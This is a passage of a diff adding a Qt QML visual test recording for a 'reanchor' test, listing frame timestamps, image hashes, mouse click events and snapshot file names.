"fa7e4a910aa60500575a34852c0c7cb8" + } + Frame { + msec: 2960 + hash: "66d205a02e35221e7684ab995acc1312" + } + Frame { + msec: 2976 + hash: "4ebe8dba6d9f3179b610b2298a7484a2" + } + Frame { + msec: 2992 + hash: "9b2582fccffa34fe389ba427ce47619a" + } + Frame { + msec: 3008 + hash: "e6f15478bda9995f82976b9e16659c8e" + } + Frame { + msec: 3024 + hash: "f08df0885fff04819ada6c10b25dd489" + } + Frame { + msec: 3040 + hash: "0f57c152306747cfa27171f1947ca65d" + } + Frame { + msec: 3056 + hash: "89d9c988abd55063e210b81193c6a8f0" + } + Frame { + msec: 3072 + hash: "91e0d0a5d57210c790c2d2399d1f7022" + } + Frame { + msec: 3088 + hash: "267874fdc09459b3e854c06d9ae99a54" + } + Frame { + msec: 3104 + hash: "2f58a508f439c40c6f2bd7da1f30deff" + } + Frame { + msec: 3120 + hash: "1451548d9f0002a6c4765cb616ab7f59" + } + Frame { + msec: 3136 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3152 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3168 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3184 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3200 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3216 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3232 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3248 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3264 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3280 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3296 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3312 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3328 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3344 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3360 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 87; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3376 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3392 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3408 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3424 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3440 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3456 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3472 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 87; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3488 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 3504 + hash: "8ceca291e28f52368346f171c2f31664" + } + Frame { + msec: 3520 + hash: "903877286f3ef112e6a661abde5c17bd" + } + Frame { + msec: 3536 + hash: "cc2d15c96571f9328b929f96849c8f9e" + } + Frame { + msec: 3552 + hash: "26e6c03b1b91b725d6e0fe9216a7413e" + } + Frame { + msec: 3568 + hash: "213e8e9905bea32ddb97d38b75cd19cc" + } + Frame { + msec: 3584 + hash: "17d5726a282d42fcde7796be84606fcd" + } + Frame { + msec: 3600 + hash: "f4629bf9f5837f687ae49008c9d28d02" + } + Frame { + msec: 3616 + hash: "fbc927cb136d8d29b2578e78c4793e41" + } + Frame { + msec: 3632 + hash: "c7099e732490dd2f3205986a7c43a165" + } + Frame { + msec: 3648 + hash: "b3b464a8e67fab05109b49604f1ce705" + } + Frame { + msec: 3664 + hash: "7629b2a77f9f87aa0ef2535aa9b8d390" + } + Frame { + msec: 3680 + hash: "6a329c289236782e095cfa6f15409726" + } + Frame { + msec: 3696 + hash: "1cfbf6f4c292e1520b44d84dd59b93a8" + } + Frame { + msec: 3712 + hash: "a8d3d838bffb39053eb705aefcb39c46" + } + Frame { + msec: 3728 + hash: "a56ad66a949e07e3174a58c80145c85e" + } + Frame { + msec: 3744 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3760 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3776 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3792 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3808 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3824 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3840 + image: "reanchor.3.png" + } + Frame { + msec: 3856 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3872 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3888 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3904 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3920 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3936 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3952 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3968 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 3984 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4000 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4016 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4032 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4048 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4064 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4080 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4096 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4112 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4128 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4144 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4160 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4176 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4192 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4208 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4224 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4240 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4256 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4272 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4288 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4304 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4320 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4336 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4352 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4368 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4384 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4400 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4416 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4432 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4448 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4464 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4480 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4496 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4512 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4528 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 174; y: 174 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4544 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4560 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4576 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4592 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4608 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4624 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4640 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4656 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 174; y: 174 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4672 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 4688 + hash: "5d38bf4a033de31985ae9989107908af" + } + Frame { + msec: 4704 + hash: "ed1bd2abd42848ecd07f0f0654c2b80f" + } + Frame { + msec: 4720 + hash: "588de6662123733303d93f62c6481f6a" + } + Frame { + msec: 4736 + hash: "aae79c2fbb2fd1ac7efa9802bff40f95" + } + Frame { + msec: 4752 + hash: "f17512798136f67f25aaa0aeb60678e1" + } + Frame { + msec: 4768 + hash: "79578a1e0e3e9cd45c210d0c5d3e75d6" + } + Frame { + msec: 4784 + hash: "5dad4ff201744cda6ff41f89414c8d11" + } + Frame { + msec: 4800 + image: "reanchor.4.png" + } + Frame { + msec: 4816 + hash: "c4559982aa3f3d291364deed4bd96d65" + } + Frame { + msec: 4832 + hash: "0dff03ea9154bdb2a813358b04cfbde9" + } + Frame { + msec: 4848 + hash: "09bdf2869dee1c0cbe3c8c2e9254580b" + } + Frame { + msec: 4864 + hash: "ba7762978bbd63d624029910fe16fb6d" + } + Frame { + msec: 4880 + hash: "f00d198ab8f4f625b60e9e2071d8adfd" + } + Frame { + msec: 4896 + hash: "adcec9c9a5b0d60cf45b2915365ea09c" + } + Frame { + msec: 4912 + hash: "a65cd6fbb26d618692ef23148015a4f2" + } + Frame { + msec: 4928 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 4944 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 4960 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 4976 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 4992 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5008 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5024 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5040 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5056 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5072 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5088 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5104 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5120 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5136 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5152 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5168 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5184 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5200 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5216 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5232 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5248 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5264 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5280 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5296 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5312 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5328 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5344 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5360 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5376 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5392 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5408 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5424 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5440 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5456 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5472 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5488 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5504 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5520 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5536 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5552 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5568 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5584 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5600 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5616 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5632 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5648 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5664 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5680 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5696 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5712 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5728 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5744 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5760 + image: "reanchor.5.png" + } + Frame { + msec: 5776 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5792 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5808 + hash: "1137e22c68e043950811dee295e19b04" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 95; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5824 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5840 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5856 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5872 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5888 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5904 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5920 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5936 + hash: "1137e22c68e043950811dee295e19b04" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 95; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5952 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 5968 + hash: "103bbc9ce594851f5243b103f8fef1c1" + } + Frame { + msec: 5984 + hash: "c381148b052be2e6244f24c2292b89cf" + } + Frame { + msec: 6000 + hash: "2fda1d635fa47bff7de867df3dadfb4f" + } + Frame { + msec: 6016 + hash: "4d35e00af33ad5dc84998cda2d066b4e" + } + Frame { + msec: 6032 + hash: "14005d52d372acf6d3495f69bbf00b7d" + } + Frame { + msec: 6048 + hash: "29728f64d12e858d960c4e197824ef43" + } + Frame { + msec: 6064 + hash: "798822f0c20ef87cb01fe1dcd76c7585" + } + Frame { + msec: 6080 + hash: "4cdeea0f91587ef32a2c2e282f6d00e6" + } + Frame { + msec: 6096 + hash: "08ca5d16771e58da6cdd20b86dc65f03" + } + Frame { + msec: 6112 + hash: "e9aeb432709d275048ad9d84fb21db1a" + } + Frame { + msec: 6128 + hash: "3b642f27d356fd1815dc50f8e750623d" + } + Frame { + msec: 6144 + hash: "7c1db0ec278849ec044ea0aa3383075b" + } + Frame { + msec: 6160 + hash: "da902850879c95d4ddffbb1ba0060f25" + } + Frame { + msec: 6176 + hash: "e4053bd0db7752e7a47e096da645b69b" + } + Frame { + msec: 6192 + hash: "aabbb6d34399818347db265151a547b7" + } + Frame { + msec: 6208 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6224 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6240 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6256 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6272 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6288 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6304 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6320 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6336 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6352 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6368 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6384 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6400 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6416 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6432 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6448 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6464 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6480 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6496 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6512 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6528 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6544 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6560 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6576 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6592 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6608 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6624 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6640 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6656 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6672 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6688 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6704 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6720 + image: "reanchor.6.png" + } + Frame { + msec: 6736 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6752 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6768 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6784 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6800 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6816 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6832 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6848 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6864 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6880 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6896 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6912 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6928 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6944 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6960 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6976 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 6992 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7008 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7024 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7040 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7056 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7072 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7088 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7104 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7120 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7136 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7152 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7168 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7184 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7200 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7216 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7232 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7248 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7264 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7280 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7296 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7312 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7328 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7344 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7360 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7376 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7392 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7408 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7424 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7440 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7456 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7472 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7488 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7504 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7520 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7536 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7552 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7568 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7584 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7600 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 86; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7616 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7632 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7648 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 7664 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 86; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7680 + image: "reanchor.7.png" + } + Frame { + msec: 7696 + hash: "eb3eeb37ab7b26692cbf100adfaf3772" + } + Frame { + msec: 7712 + hash: "e1a8cdcb1f3ec097a968b3b20964c6e8" + } + Frame { + msec: 7728 + hash: "44fc52479251327d0612de17ddb056eb" + } + Frame { + msec: 7744 + hash: "fa7e4a910aa60500575a34852c0c7cb8" + } + Frame { + msec: 7760 + hash: "66d205a02e35221e7684ab995acc1312" + } + Frame { + msec: 7776 + hash: "4ebe8dba6d9f3179b610b2298a7484a2" + } + Frame { + msec: 7792 + hash: "9b2582fccffa34fe389ba427ce47619a" + } + Frame { + msec: 7808 + hash: "e6f15478bda9995f82976b9e16659c8e" + } + Frame { + msec: 7824 + hash: "f08df0885fff04819ada6c10b25dd489" + } + Frame { + msec: 7840 + hash: "0f57c152306747cfa27171f1947ca65d" + } + Frame { + msec: 7856 + hash: "89d9c988abd55063e210b81193c6a8f0" + } + Frame { + msec: 7872 + hash: "91e0d0a5d57210c790c2d2399d1f7022" + } + Frame { + msec: 7888 + hash: "267874fdc09459b3e854c06d9ae99a54" + } + Frame { + msec: 7904 + hash: "2f58a508f439c40c6f2bd7da1f30deff" + } + Frame { + msec: 7920 + hash: "1451548d9f0002a6c4765cb616ab7f59" + } + Frame { + msec: 7936 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 7952 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 7968 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 7984 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8000 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8016 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8032 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8048 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8064 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8080 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8096 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8112 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8128 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8144 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8160 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8176 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8192 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8208 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8224 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8240 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8256 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8272 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8288 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8304 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8320 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8336 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8352 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8368 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8384 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8400 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 177; y: 173 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8416 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8432 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8448 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8464 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8480 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8496 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8512 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 177; y: 173 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8528 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 8544 + hash: "49a6ed64f80094b41348eda19fa5a55e" + } + Frame { + msec: 8560 + hash: "3ee42fb431d7824c1cd6ddf95af91d10" + } + Frame { + msec: 8576 + hash: "d807890cc0670eda9fac267769366771" + } + Frame { + msec: 8592 + hash: "50cb68de9ca0c3a8db1df58d7cbb0d21" + } + Frame { + msec: 8608 + hash: "0af06233156b3a469ce9e7d80a5767c0" + } + Frame { + msec: 8624 + hash: "9b2c77f004e480fd485e092c08feaf81" + } + Frame { + msec: 8640 + image: "reanchor.8.png" + } + Frame { + msec: 8656 + hash: "6ed9b6118a0dc81c22af9fee108b7432" + } + Frame { + msec: 8672 + hash: "4d3aa8219edffe6fda316482821d4a64" + } + Frame { + msec: 8688 + hash: "ea8a7104840254ac2706ca2635b8a95f" + } + Frame { + msec: 8704 + hash: "a8569ef3287da9699809a2ad107b87b1" + } + Frame { + msec: 8720 + hash: "91d09653dbced4ecb3d711737cb89ca1" + } + Frame { + msec: 8736 + hash: "d5391f3b40f2dfada0336d889d438d69" + } + Frame { + msec: 8752 + hash: "27cd9690607f97cc84c2a0a4455feccb" + } + Frame { + msec: 8768 + hash: "f885588779a5de5d7d47f48bf9a2a6ee" + } + Frame { + msec: 8784 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8800 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 8816 + hash: "1137e22c68e043950811dee295e19b04" + } + Frame { + msec: 